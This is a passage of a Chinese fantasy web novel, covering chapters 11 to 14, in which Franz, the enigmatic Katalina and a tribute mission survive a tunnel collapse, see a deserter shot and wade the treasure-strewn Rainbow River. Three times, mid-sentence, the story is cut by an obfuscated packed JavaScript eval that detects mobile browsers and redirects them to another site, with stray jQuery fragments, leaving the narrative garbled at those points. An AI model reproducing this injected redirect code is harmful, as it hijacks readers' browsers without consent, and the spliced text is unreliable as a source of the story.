遗憾的是,汤普森以为她也在嘲讽他,于是他一只手胡乱挥舞了几下佩剑,阻止旁人靠近,另一边也加快了手底下的速度。
“汤普森——”
伍德皱眉,也想上前斥责,可随即落在他面前的碎石让他的脚步停了下来。
很快,随着小汤普森莫名其妙的动作,有些没有触碰到的墙壁也开始慢慢震动起来。
“别再乱动了!”
“快住手!”
众人发现不对,想要将小汤普森拽开,但一声巨响如闷雷乍起,石壁上的砖石突然炸开,碎石如雨纷纷落下,破损的地方随之越扩越大!
不对,不对!
“快跑,这里要塌了!”
雷东多一声惊叫,下一瞬砖土混合着碎石潮水喷涌而出,头顶的墙壁也开始大片大片地坍塌!
“走!”弗兰茨疾声呵道,“往前跑,不要往后!”
后方不断传来的隆隆声、急速喘息声、惊慌失措的呼喊声在密道里乱成一团。
众人像一堆从盘子里倾倒而出的瓜果,跌跌撞撞向前滚去。
混乱间,不停有人摔倒,弗兰茨经过时托了身边人一把,没跑两步却被另一人绊倒在地。
他狼狈地打了个滚,右脚脚踝狠狠扭了一下,他没来得及管,手臂往前一撑又咬牙爬了起来。
快一点、再快一点!
他强忍着脚踝处传来的剧痛,一瘸一拐地往前冲,不顾头顶不断落下碎石,扬起的尘土糊了一脸。
身边忽然传来惊叫,他来不及分辨,下意识顺手一扶,却没料想手臂被人恶狠狠地往地上一拽,紧接着,小汤普森的咒骂声乍响:“别挡道!”
这个蠢货!
哪怕是平时极注意礼仪和风度的弗兰茨,在此刻遇到这样的意外也忍不住暗骂一声,但危机关头,活下去才是重点。
他挣扎着想要起身,一块碎石却正正落在他的头上。
意外突至,弗兰茨闷哼一声,软倒在地,意识也沉入黑暗之中。
.
“今天就要公布前往行赏的使团成员名单了,你觉得你会入选吗?罗兰先生,看在往日同窗的份上,说话不必再弯弯绕绕了吧。”
“……悉听尊便,殿下。说实在的,我并不清楚我是否会入选。”
“你这不还是弯弯绕绕?”
“这是我的心里话。”
……
“你怎么会入选此次行赏?父亲,就算要从我们家选一个人,怎么也该是我吧?”
“别说这样的话,我的孩子,如果陛下需要一个罗兰家的人出发,无论是你还是你弟弟,我会觉得同样的荣幸;当然,如果是你,我会更高兴的。噢,对了好好表现,不要丢脸,弗兰茨。”
……
“殿下,恕我直言,在您问出我那个问题的时候,您是否就已经知道我的名字写在了名单上?”
“……是的,但我并不能决定使团成员的名单。放宽心弗兰茨,你的父亲一直偏爱你的兄长,这次行赏定能让他对你改观;更何况,身为驭龙女士的后人,你总是有些优势的。”
……
混乱的声音在脑海里此起彼伏,弗兰茨痛苦地蹙眉,意识从各种对话里挣脱出来,停留在临行前的一个午后。
屋外阳光明媚,但长时间呆在储物室里仍会感觉阴凉。
弗兰茨不顾地上一层薄薄的灰尘盘腿而坐,手里握着的正是驭龙女士留下来的手札。被选为行赏的使团成员后,他撬开储物室的锁,不报希望地在母亲留下来的物品中找到了它。
很显然,自从成为使团成员,他的焦虑一直多于欣喜。尽管在众人眼中,行赏一向是让人引以为豪的美差,往年被选中的人中,甚至大部分成员都是通过某种心照不宣的方法才被选上的。
可是罗兰家,既没有足够的钱财,又没有很高的地位,仅仅只顶着一个“驭龙女士后人”的虚名。
在一众勋贵中,罗兰家并不显赫,所以即使他父亲曾多方交际,也未能给大儿子搏来一个名额。
然而,就在众多家族为名额挤得头破血流之际,一个珍贵的名额却轻飘飘的落到了弗兰茨·罗兰头上。
许多人都为此艳羡,可弗兰茨却显得忧心忡忡。
谨慎过度,甚至可以说是贪生怕死。
有人这样评价他。
但弗兰茨深知,从来没有白来的好事,他能成为使团成员,这背后一定要付出什么。
这让弗兰茨深思,也让他生出一丝难以言明的惧怕。
我需要知道得再多一点。
弗兰茨哗哗翻动书页,焦躁不减。
遗憾的是,手札里面既没有记载驭龙女士是如何驾驭龙的传奇故事,也没有讲述制服龙保全性命的方法。
它更像是一本普通的随记,上面布满的涂鸦和混乱字符比有序的语句还要多。
太阳很快沉没到无尽的黑暗中,储物室里也一片昏暗。
弗兰茨疲惫地靠在墙上,陷入茫然。
他未能从手札里找到什么有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991980|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
效信息,上面只有一些关于陌生人的语焉不详的爱好,这大概也是母亲离家时没有带走的原因。
等等。
陌生人的,语焉不详的,爱好。
是什么让他觉得这些“爱好”是陌生“人”的?
弗兰茨心绪起伏不定,他顾不上去外面提来一盏油灯,急匆匆地翻动起手札。
——她喜欢松香的味道,这让她睡得很香。
——她丢给我一枚鳞片,说是她不需要的。她总是这样,正话反说,我会好好收起来的。
这是什么意思?
“她”是谁?
如果这里的“她”,指的并非一个人类,而是一条红龙呢?
弗兰茨的心扑通扑通地跳了起来,如果这个匪夷所思的猜测是正确的,那么储物室里会不会也堆放着什么看似不起眼,实则很关键的物品?
夜是沉寂的乌蓝色,但弗兰茨的心火热。
在扬起的灰尘中,他找到一个生了锈的铁盒,用匕首撬开,里面正静静地躺着一枚赤红的鳞片,像一簇小小的燃烧着的火苗。
这是龙的鳞片吗?
弗兰茨犹豫地伸出手,轻轻地触碰了一下,竟是温热的。
这么久的光阴流淌而过,也未能熄灭它的温度。
这就是红龙的鳞片。
这个大胆的猜测竟然是对的。
弗兰茨站起身子,颤抖着将储物室锁上,又把手札和鳞片带回房间藏好,没有告诉任何一个人。
而次日,他便驾着马车驶在了前往购买香料的路上。
出发的物品准备好了,有相关经验的人也不能错过。
在行赏之前国王为使者们举办的宴会上,弗兰茨见到了历代的使团成员,并有机会借此向他们询问经验。
“这并没有什么难处,你只要心怀勇敢就好了。”瞎了一只眼睛的人醉醺醺地吹嘘。
“清醒,保持清醒,明白吗?”也有人含含糊糊,好像要保持神秘。
宴会上的美酒总是让人沉醉,想到接下来要面对的事,弗兰茨索性放纵自己大喝一场。
头痛欲裂间,他迷迷糊糊听到有人对他说:“你醒了。”
啊,对,我醒了,我是该醒了。
弗兰茨捂着头呻丨丨吟,试图从宿醉里清醒过来,他睁开眼睛——
四周一片黑茫。
“你醒了。”那人又道。
冷静的,毫无多余情感的语调,这是卡塔利娜的声音。
“卡塔利娜。”
弗兰茨轻声道,于黑暗中向卡塔利娜声音传来的地方艰难地转头。
“卡塔利娜,”他看不清楚,于是又低低地呼喊,“你在哪儿?我,我们这是在哪儿?”
不等卡塔利娜回答,弗兰茨很快就回想起刚刚发生的事——小汤普森神经发作,引得密道塌陷。
“那个蠢货,”弗兰茨低声喃喃,继而又问道,“我们现在是被埋在了密道下面吗?你还好吗卡塔利娜,能动得了吗?”
他挣扎着想要坐起来,剧烈的疼痛却让他重重地倒向凹凸不平的地面,后背被一块斜上凸起的砖石顶住,弗兰茨痛呼一声,额头上有温热的液体流淌。
过了一会儿,弗兰茨才反应过来,那是他流出来的血。
我受伤了,而且伤得不轻。
直到这个念头生起,弗兰茨才意识到,他的四肢、脖颈、后脑,皆裹挟在剧痛的洪水之中,几乎动弹不得。
“——我,”弗兰茨的语速不由得急促起来,“卡塔利娜,我——”
“你要死了。”卡塔利娜回答道。
12. 第 12 章
卡塔利娜的声音和她的眼神一样,平直,没有温度,没有情绪起伏。
这只是一个简单普通的陈述句。
因此,当弗兰茨听到这句话的时候他没有在第一时间反应过来,也不太能意识到这是什么意思。
于是卡塔利娜颇有耐心地又说了一次:“你要死了。”
谁?
谁要死了?
弗兰茨眨眨眼睛,后知后觉意识到卡塔利娜是在对他说话。
噢,我要死了。
原来是我要死了。
我要死了吗?弗兰茨先是质疑,毕竟他的四肢还很好地连接着躯体,头也按在脖子上。
然后他勉力抬起一只手,在肚子上摸了摸,还好只是披风破了,并没有什么柔软的东西流出来。
弗兰茨松了一口气,浅浅地笑了一下,随即他便感觉到大股大股的热流从鼻腔里喷涌而出。
啊,不太妙。
他的笑容凝固住了,心里还想再挣扎一下,可是持续的剧烈疼痛和不断流失的力气告诉他——你要死了。
她说的是真的。
对行赏一行不好的预感在此刻终于应验。
可他唯一没有料到的是,发生的居然这么糟糕的事。
弗兰茨躺在原地,不得不接受命运的洪流将他冲倒。
我要做点什么吗?
我应该做点什么呢?
哀嚎两句,还是说点遗言?
他什么都没有做,似乎在很平静地等待既定结局的到来。
怎么是这样的表现?
黑暗中,卡塔利娜皱起了眉毛。
不对不对。
虽然弗兰茨与那个蠢货性情不同,但他们总归是人类。
那个蠢货在临死前的哀嚎与咒骂连绵不绝,直到最后一刻嘴里还含着半个音调。
弗兰茨太平静了。
他仿佛对这样的结局接受良好,就像此前他已经被迫接受了许多不情愿但无法抵抗的事情,所以对死亡也不敏感了。
我不相信。
卡塔利娜浅褐色的瞳孔收缩得极其尖细,因此她能十分清晰地观察弗兰茨的状态。
血肉模糊的,有气无力的。
他的肚子正一下一下很慢很缓地起伏,身上的血倒是不怎么流了,可气好像也没多少了。
他的脸很脏,头发里都是碎石和尘上,灰扑扑的,不好看。
但他的表情平静,确实是一副坦然接受的模样。
我不满意。
卡塔利娜难得生起些怒火,我不满意,她的瞳孔收缩到极致,两根朝天竖起的羊角辫就像两簇熊熊燃烧的火焰。
你怎么能如此平静?
我还没有得到我想要的,你怎么能在未经我首肯的前提下就退出游戏?
卡塔利娜非常地不满,但她还是难得有耐心地问了一句:“你没有什么想说的吗?”
“……啊,对,你还在这里。”
弗兰茨的声音像羽毛一样轻盈,片刻,他像是想起什么似的,头侧向声源处,微阖的眼睛也睁开了。
我要死了。
他想,他没有什么要留给处在遥远的王国大陆上的人们,他对于身死异地也并不排斥,但是,但是——
还有没有什么是我能做的?
此次行赏疑点重重,可惜他并没有机会明白这到底是“行赏”还是“进贡”,也没有机会知道自己为何被选为使团成员,“贝莉的金杯”又怎么会作为赏赐。
他也没有办法活下去了,但是卡塔利娜可以。
她的声音一如既往的平直,说明她受得伤不重;她能判断自己的状态,也代表她还有活动的空间和能力,从坍塌的密道中脱身并不算困难。
“你还要去行赏吗?”
他问道,话题跳跃得很快,可卡塔利娜的反应却是不意外。
“我要去。”她说。
她还是要去。
她真的很古怪,但弗兰茨已无力深思,他没有多余的时间和她解释此次行赏不对劲的地方,也没有剩余的力气去阻拦她。
但不论如何,她都是帮助过自己的人,既然如此——
他又开始挣扎,右手在胸前摸索,接着向颈间试探。
“带上这个吧。”他的声音变得很微弱,力气也接近于无。
他似乎找不到他要找的东西,也有可能是没有力气了,他叫她:“带上这个走吧,这能帮到你。”
来了。
卡塔利娜静静地笑了起来,她轻松地踩过石块,走到弗兰茨面前。
嘎吱嘎吱的声音由远及近,如果在平常,弗兰茨一定能意识到卡塔利娜的行动非常自如,但他现在只能看见一个模糊的影子慢慢放大。
“这是什么?”
她扯开他的领口,粗糙的毛手套蹭过脖颈处的皮肤,抓住了一个圆圆的项链盒。
“能让它睡得安稳的松香。”弗兰茨回答。
他再也没有力气,逐渐陷入了长久的睡梦中。
.
只是松香粉。
卡塔利娜握着那枚小小的圆圆的项链盒,极好的夜视能力甚至能让她看清楚刻在盒面上淡紫色的花纹。
半晌,她将那枚项链盒塞回弗兰茨胸前,继而看向他陷入昏迷中的脸。
弗兰茨灰蓝色的眼睛被雾蒙上了,呼吸微弱,唇色惨淡,非常狼狈也不好看。
看着真可怜。
卡塔利娜面无表情,她伸出一只手,隔着手套擦去了弗兰茨脸上的灰尘和血垢。
她的动作并不轻柔,不是那种情人间带有怜惜意味的拭去,也不是友人般关怀的抹掉,她的动作算得上粗鲁,因此灰尘和血垢很容易就被擦掉了,只有浅红色的印子还留在弗兰茨的脸上。
这样就还算好看。
尽管卡塔利娜觉得还差点意思,但她又不是什么讲究的性格。她脱掉一只手套,食指指尖轻松地将掌心划开了一道口子,滚烫的鲜血一下子涌了出来。
我的游戏可不能轻易退出。
她居高临下地凝视着弗兰茨,另一只手掐住他的下颌,迫使他张开嘴,将血滴入他口中。
.
很热,也很难受。
迷蒙中,弗兰茨感觉自己被提着腰倒吊了起来,四肢则像个无助的钟摆左摇右晃。
死后的世界也这么痛苦么?
弗兰茨绝望地呻丨丨吟了两下,随即一个非常冷淡的声音从上方传来:“你醒了。”
是啊,我醒了。
我来到死后的世界了,你准备要带我去往哪里呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991981|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弗兰茨迷茫地睁开眼,发现自己被什么人以一种简单粗暴的方式扛在肩上,那人的肩骨坚硬,此时正毫不留情地顶在他的肚子上。
好难受。
弗兰茨挣扎了两下,下一瞬他就被人放到了地上。
弗兰茨惊讶地喘了两口气,回头一看,发现刚刚扛着他的人是卡塔利娜。
“我没死?”弗兰茨坐了起来,问道。
“我骗你的。”
她话说的直接,像是在陈述今天天气晴朗一样轻松。
逆着光,卡塔利娜的表情看得并不真切,但从她刚刚将他放到地上没有让他摔得很疼的力道来看,她的心情似乎不错。
“……你骗我的?你骗我要死了?”他问道。
“对。”卡塔利娜回答得毫不犹豫。
弗兰茨无奈地轻笑了起来,他摇摇头,抹掉了眼角一层薄薄的水汽。
他不知道说什么好,只是笑,笑着笑着,声音从无到有,渐渐地变大了,与树叶震动的簌簌声和在了一起。
他用一种不太讲究的姿态在地上坐了一会儿,才慢慢地爬起来。环顾四周,弗兰茨发现他们正站在一片山毛榉树下,薄薄的雪从后方堆积到山顶。
很显然,他们已经来到山的另一面了。
与他们来时的那一面不同,这一边阳光热情明媚,连风都带着怡人的温度,山雀在枝头跳动,偶尔抖落几朵小小的柔荑花。
这是一个十分美好的春天。
弗兰茨舒展了一下身体,看向卡塔利娜,阳光下,她浅褐色的瞳孔有着一般琥珀的光泽。
“我们接下来去哪儿?”他问道。
“去龙穴。”卡塔利娜接得很快。
“好吧,我们的目的确实是行赏,”弗兰茨诧异,随后无奈地笑了,“但我真的很疑惑,为什么你这么坚持地加入呢?可千万别说为了荣誉。”
闻言,已经向前走了两步的卡塔利娜转过身来,她看着他变得健康红润的脸,飞快地笑了一下。
然后她又恢复了面无表情的状态,说道:“因为好玩。”
因为好玩。
弗兰茨看着她继续向前走的背影,觉得她真是非常奇怪。
“我骗你的”和“因为好玩”,这两句就不像是真话,但听着听着又没有什么敷衍的意味。
他真是想不明白,可双腿已经向前迈动起来。
“你到底是怎么在携带了一个人的情况下从拇塌的密道里出来的?”弗兰茨很好奇,然后又想到了另一个问题,“还有其他人,你出来的时候有见到其他人吗?”
“没有。”
“好吧。”弗兰茨轻轻地叹了一口气。
两人无言地走了一段路,氛围却并不沉重。
.
乘着春风,穿过这片山毛榉树林,他们行走到一个相对平缓的山坡上,这样的行走距离虽长,却并不让人感觉疲劳。
只不过没过多久,前方便传来了一片熟悉的喧嚷声。
弗兰茨仔细一看,那正是从密道里逃出来的人。
使团成员有伍德,罗斯和雷东多,格兰德城人只剩下以亨特为首的五人。
他们争吵得似乎很厉害,以至于在卡塔利娜和弗兰茨靠近的脚步声响起之前,都没有任何一个人觉察到他们的到来。
13. 第 13 章
“感谢女神,你们还活着!”
率先发现他们的是佩斯,她捂着脸长长叹地了一口气,然后转向了伍德:“我真是不明白,龙牙杀了我们两个人,而那个汤森一下子竟然害死了这么多人。我原本痛恨着红龙,痛恨它在行赏路上设下的杀机,可是现在——”
她摇了摇头,既是不解又是痛苦:“为什么有这么多莫名的纷争,为什么残害人类最多的总是人类?伍德团长,我并不想在这种时刻指责你,但是,但是,这一路上你对汤普森不必要的袒护实在太多,假如一开始你能公正一点,局面都不会变成现在这个样子。”
伍德深吸几口气,没有反驳,只在原地来回走了几下。
他不是那种轻易让旁人评价自己的人,可小汤普森导致一行人死伤惨重,他自然理亏不少。
“幸存者都在这里了吗?”弗兰茨问道。
“几乎都在这儿了,”罗斯沉重地叹了一口气,“有些人伤势过重,我们把他挖出来后很快就不行了。我们找了很久,没有找到其他人,没想到你们也还活着。”
“女神庇佑,”亨特低头做了一个虔诚的手势,接着提出一个其他人都非常关注的问题,“现在这么少人,我们还要去行赏吗?”
话落,她身后的几个格兰德城人流露出一丝不情愿的神态。
很显然,大家都想荣誉加身,但前提是好好活着。
就算要牺牲,哪怕是死于龙牙之手,也不想像刚刚那样被一个莽撞的蠢货害死。
“当然了!”
伍德转过身来,脸上闪过一丝焦躁。
他的说辞显然还没有来得及编造好,但紧迫的现实逼得他开口:“我知道,我知道,那是一个蠢货,那个蠢货会做出这样的事情当然也有我的责任。但是,诸位,请为自己细细斟酌,多多考量,我们已经行至此地,荣誉也都唾手可得了,真的就要这样放弃吗?且不说我,就想想你们自己——佩斯,你要你弟弟白白牺牲吗?”
见到佩斯沉默着撇开头,他继续谆谆善诱:“各位格兰德城人,我要为之前的不够尊重道歉,回到王国大陆后,我定会向陛下阐述你们的英勇无畏,恳请他也让你们获得使团的同等尊荣。我们需要你们,彩虹河就在前方,而龙穴也在不远处显现了隐秘的轮廓。坚持下去吧,后退可不是拜里科斯人的美德。”
温和的语调,难得的尊重,这让格兰德城人沉默下来,他们对视几眼,似乎已经被伍德说动完成此次的行赏。
可是,一个格兰德城男青年突然后退了两步,大声地嚷嚷起来。
“我要退出,我不干了,去你的荣耀,我受够了!你说你尊重我们?吃屎去吧,你只是需要我们干活才装模作样地说那番话!”他把行囊和武器往地上一摔,瞪了伍德一眼就要往回走,“你这个伪君子!自大狂!十足的混蛋!你要人给你做事,又生怕别人受到的关注比你多,你要人吹捧,可造成的恶果不知道害死了多少人!
“你难道不会觉得羞耻吗?我实在不明白,陛下怎么会选你这种人做团长?!和你这样的人比起来,红龙都算得上是拜里科斯的挚友。我不会和你呆在一起了,和你呆得越久,死亡就离得越近!”
“沃利斯!”听到青年的话从愤懑渐渐偏移到危险的边缘,亨特急急地打断了。
自知失言,沃利斯也站在了原地,但他的态度仍十分坚决:“我很抱歉,伍德团长。恕我无能,无法完成行赏。祝您接下来一路好运,我要回家了。”
被肆无忌惮地大骂一场,伍德勉强和煦的脸色再也维持不下去了。
他忍了半天,才憋出一句话来,内容倒是让人诧异:“好吧,沃利斯,年轻人的意志总是和他们的情感一样多变。你走吧,拜里科斯的荣誉从此与你无关。”
所有人都被这突变的场面震在原地,只有沃利斯向伍德微微一颔首,头也不回地走了。
“……他走了。”另一个格兰德城人喃喃,她似有所意动,不由自主地朝着沃利斯离开的方向走了两步。
“——不!”
同一时间,罗斯余光一闪,猛地上前,将抬起手的伍德扑倒在地。
她刚想松一口气,一道尖利的啸声却在头顶响起。
什么?!
罗斯急忙仰头去看,只见一支长箭破空而过,在所有人都未反应过来之际直指沃利斯后心,一箭穿胸!
砰!
沃利斯“嗬嗬”了两声,直挺挺地倒在了地上。
“不……”
罗斯难以置信,她转过头,只见雷东多拉弓搭箭,仿佛随时准备着射向下一个准备离开的人。
“哇哦,好了,好了。”伍德慢吞吞地从地上爬了起来。
他先是弹掉粘在身上的草屑,再拍拍雷东多的肩膀:“冷静点,嗯?雷东多,你做得很好,不过现在你可以把箭放下了。”
直到这时,雷东多才慢慢收起弓箭,他微垂着头,似乎想要避开众人落在他身上的目光。
伍德则得意洋洋地环视一周,观赏着众人各异的表情:“别太紧张,诸位。还有谁想回家的?我可不想我们当中又有谁要离开——没有!很好,没有的话就出发吧。”
小汤普森是个蠢货。
伍德则是个不折不扣的疯子。
弗兰茨看着伍德走在最前方的背影,一股恶心的感觉油然而生。
他绝对不会只去行赏!
弗兰茨心里有一种强烈的预感,伍德他一定还要做出什么惊人的事来。
.
春天的天气不总是如意,它多变,时晴时雨,让人沉郁。
众人穿过突如其来的雨幕,越过一个绿意盎然的山坡,在傍晚即将到来的时候,他们终于来到一条小河旁。
这就是彩虹河吗?
看到这条河的人,脑海里几乎都冒出了这个想法。
河水呈静谧的淡绿色,并不湍急。
微波荡漾,连带着岸边落下的投影也层层叠叠地漂了起来。
这条河,美是美的,但这样的美,也不过是在城外度假时就能遇见的。
算不上稀奇,也配不上“彩虹河”的名字。
但现在没有人会好奇地发问,只是沉默地等伍德发话。
“好了好了,放轻松一点儿,好吗?”伍德向众人耸耸肩,随后站在河边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991982|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
观察片刻,“嗯,这看着就是条普通的小河,不过,以防万一——”
他转向弗兰茨,微笑道:“亲爱的罗兰先生,你可有什么高见?身为驭龙女士的后人,帮助我们躲避龙牙,又开启了无雪密道,对于彩虹河,你一定有不少见解吧?”
弗兰茨面若冰霜:“我对此并不清楚。”
“真遗憾。”
伍德捡起一块石子,随意地扔向了水面,“咚”地一声响,石子很快就沉入了水底。
“水不深,为了加快进程,淌水而过吧。”他就这样做出了决定。
.
从杀死沃利斯以儆效尤后,伍德说话时的语调和情态显得格外轻松。
见其他人都没有反对,他点点头,走到河边。
傍晚来的很快,山脉遮蔽了大半个太阳,剩余的金光仍不知疲倦地燃烧。
恰好,在伍德即将迈进水中的那一瞬,夕阳的余晖如喷发的火山,毫无保留地洒进了河中。
神奇的一幕就在此刻发生。
光的火种点燃了平静的水面,于是波涛渐起,虹光四溢。
整条河流像被赋予了生命一般来回涌动,金光同时向河的上游和下游扫过,哗哗水声中,河水渐渐染上了彩虹的颜色,流光溢彩,绚烂夺目。
这就是彩虹河。
众人不由得上前观望,河水流动,两岸的影子落不到水面上,水底却是清晰可见。
没有游鱼,也没有摇晃的水草,躺在水底的只有浅浅一层珍宝,金杯银器、珍珠宝石,它们在虹光的照射下仍闪耀着夺目的光芒。
真美啊——
只要是见到此景的人都会由衷赞叹。
它给每一个人带来的直观诱惑和震撼,让他们忘记了烦恼和忧愁,忘记了虚无缥缈的称赞,只想踏进水里捞起一把细细抚摸。
“我想,来到这里的诸位都拥有一种资格,”伍德慢吞吞地开口,眼睛仍盯着河底,“这也算是我们的酬劳。快点渡河吧,辛苦了这么久,我也会忽略掉你们偶尔的小动作。”
“你就这样过去?”
卡塔利娜突然开口了,这让原本陷入痴迷的弗兰茨清醒过来。
他知道,她不是轻易开口说话的人。相应的是,她每一次与旁人对话,都会使局面产生巨大的变化。
如果只是简单的过河,她为什么要主动向伍德说话?
弗兰茨蹙眉看向卡塔利娜,卡塔利娜回以面无表情。
而伍德犹然不觉有什么不对的地方,他的一只脚已经踏进了河水中,一只手俨然已经伸向水底:“当然了,我们为什么不渡河呢?”
见伍德已经下水行走,其他人对视几眼,也纷纷跳进河水之中,慢慢前进。
一时间,岸上只剩下卡塔利娜和弗兰茨两人。
“你不渡河吗?”卡塔利娜语调平缓地问。
弗兰茨并没有回答这个问题:“卡塔利娜,你是不是知道了什么?不,你一定是知道什么。这条河有不对劲的地方。”
“是吗?”卡塔利娜反问。
她对弗兰茨微微一笑,不等他回答便转过了身,一脚踏入彩虹河中。
14. 第 14 章
“你……”
见卡塔利娜走进河中,弗兰茨犹疑片刻也迈了进去。
水很凉,水不算深,浅的地方才没过小腿,最深也才到人的腰部,河水似乎也没有什么异常的地方。
但弗兰茨心中仍持有某种怀疑,他赶上了卡塔利娜,沉默片刻,才问道:“卡塔利娜,我知道,你不是会问多余问题的人。所以,为什么——”
“你觉得你很了解我?”卡塔利娜侧过头,盯着弗兰茨的眼睛反问道。
这是什么问题?
弗兰茨被噎了一下,思维也混乱了一瞬,这要他怎么回答?
回答“是”,既自大又显得暧昧;回答“不是”,对话也没有办法继续下去了。
“至少,在场的人中,我算是了解的那一个,”他硬着头皮,将已经发生过的事情细细分析,“你说你要做向导,于是你就成为了向导,你提出质疑,你将我们带到了无雪密道。无论你说什么,无论你做什么,事情都会像你说的,或者是往你想的方向发展。”
“我说你要死了。”
“是,但你救了我不是吗?所以你才说‘我骗你的’。”
弗兰茨知道她在反驳,知道她的意思是:我说你要死了,但你现在没死,这说明了事情并非向总向她的意志发展。
“我救了你,我有吗?”
“我不是傻瓜,”他看着她,“我知道我当时的身体情况,我意识模糊,周身疼痛,几乎不能移动半分,即使情况没有危机到濒死的程度,可我也算得上重伤在身。但现在——”
他向她微微摊开双臂:“我能走能跳,离开密道后,我甚至可以毫不顾忌地走这么大一段路。就算我当时没有反应过来,现在也该意识到了——对,还有密道。我是被你扛出密道的,不是吗?可不要和我争辩说一个重伤的人也可以靠自己爬出坍塌的密道。”
卡塔利娜不说话了,她直直地盯着弗兰茨的眼睛,眼里流露出一丝不满和懊恼,但她似乎并不生气,只是定定地说道:“你是很了解我。你一直在关注我。”
前一句话是肯定,后一句话则是笃定。
它不像疑问句那般带着试探,而带有一种“即使我的注意力没有一直在你身上,但我也知道你一直在看着我”的意味。
很自信,却也是事实。
弗兰茨抿住了嘴,他实在想不明白到底是哪里出了问题才让他生出一种局促的感觉。
很奇怪,明明他举例分析,明明他已经证实卡塔利娜的言行总能影响事件的发展。但是为什么,为什么话题会滑到了这里,滑到了“他很关注卡塔利娜”这件事情上。
这个话题听着好像很亲密很暧昧,让他有些不知所措,想要远离。
他只好强行转移话题:“我的意思,我的意思是……我觉得,我的意思是——卡塔利娜,你为什么要加入这次行赏?你到底是谁?”
我到底是谁?
卡塔利娜看着弗兰茨灰蓝色的眼睛,第一次生出了提前游戏结局的念头。
“我到底是谁?”她低声重复着弗兰茨的问题,看着他下意识前倾的身体,因为迫切想要知道答案略带严肃的表情。
希望你真的能够承受得住这个答案,卡塔利娜心想,想到弗兰茨得到答案后的表情,她也不由得亢奋了起来:“我是——”
“——嘶,怎么越陷越深了?”
身后突然有人发出惊呼,弗兰茨下意识回头看了一眼。
时机被打断,卡塔利娜也将答案收了回去。
还是再忍忍吧,她想。
她看着弗兰茨停下来的动作,时间不对,地点也不对,太过仓促,如果现在告诉弗兰茨答案,她就没有办法很好地欣赏他的表情了,得不偿失。
所以卡塔利娜转过了头,继续向前走去。
.
呼救的人是雷东多。
涉水时,他是跟随着伍德先行出发的。水底并没有什么淤泥,也没有缠足的水草,可他走起来却意外的吃力,仿佛有某种沉重的东西缠着他往水底拖。
起先,他并没有选择呼救,一方面他觉得不过是累了点儿,没有必要大惊小怪。另一面他也知道,不久前他在伍德暗示下射杀了沃利斯,这会导致他被其他人警惕,甚至孤立,即使呼救,恐怕也不会有人来帮忙。
但这实在太沉重了。
不仅是长途跋涉带来身体上的疲劳,不仅是在河水中行走的艰难,雷东多难以控制自己不去反复回想沃利斯被射杀时的场景。
可他越是回想,他就越是恐惧,越是开始怀疑自己选择跟随伍德是否是一个错误,甚至开始质疑自我。
他无暇关注旁人,就连水底的珍宝都无法吸引他的注意力了。
他行走的速度逐渐慢了下来,身侧不断有人超越他,当他终于反应过来时,他的右脚已经深陷珠宝之下,很难靠自己的力量拔出来了。
“他陷进去了。”雷东多听到有一个格兰德城人和她身边的人这样说道,但是没有人上前来帮忙。
他只能很惊慌地低头挣扎,内心深处沉重的情绪几乎将他淹没。
情况还不算太坏,可他近乎绝望。
直到这时有一只手托住了他的手臂,接着是另一只。
雷东多惊讶地抬起头,罗斯与亨特一人一边托住他的手臂将他拽了出来,再向前看去,伍德正弯下身子,从水中捞出一只黄金与宝石打造而成的手镯。
经过河水的洗涤,在夕阳灿烂的余晖中,那只手镯闪闪发光,十分美丽。
见雷东多脱离了险境,弗兰茨转回了身子,一抬头,卡塔利娜已经向前走出一段距离。
他回想起刚刚的场景,卡塔利娜正准备说出回答,对话却被雷东多的呼救打断了。
所以她的答案是什么?
她到底是谁?
弗兰茨迫不及待想要知道,连忙追了上去。
只是河床上铺满了闪闪发光的珠宝,既光芒耀眼,又不便于行走,弗兰茨的脚步渐渐慢了下来,他尽量使自己不要滑倒或者不要像雷东多一样陷进去。
不被珠宝晃花眼和保持平衡几乎分掉他大部分注意力,弗兰茨没有余力赶上卡塔利娜,他只能和她保持着一段距离,小心翼翼地行走。
所以,我刚才为什么能只顾着和她说话还不滑倒呢?
弗兰茨看着卡塔利娜轻松的背影,他想,这里一定有什么不对劲的地方。
.
彩虹河并不算宽敞,但淌水渡河却似乎格外漫长。
靠近岸边时弗兰茨已经是气喘吁吁,他撑着膝盖缓了一会儿,正要一脚迈上岸,卡塔利娜的声音却在头顶响起。
“你很累。”她站在岸上打量着他,语气倒算得上平缓。
“嗯,还好吧。”弗兰茨走上岸,掏出手帕擦了擦汗,这才注意到只有卡塔利娜和他来到
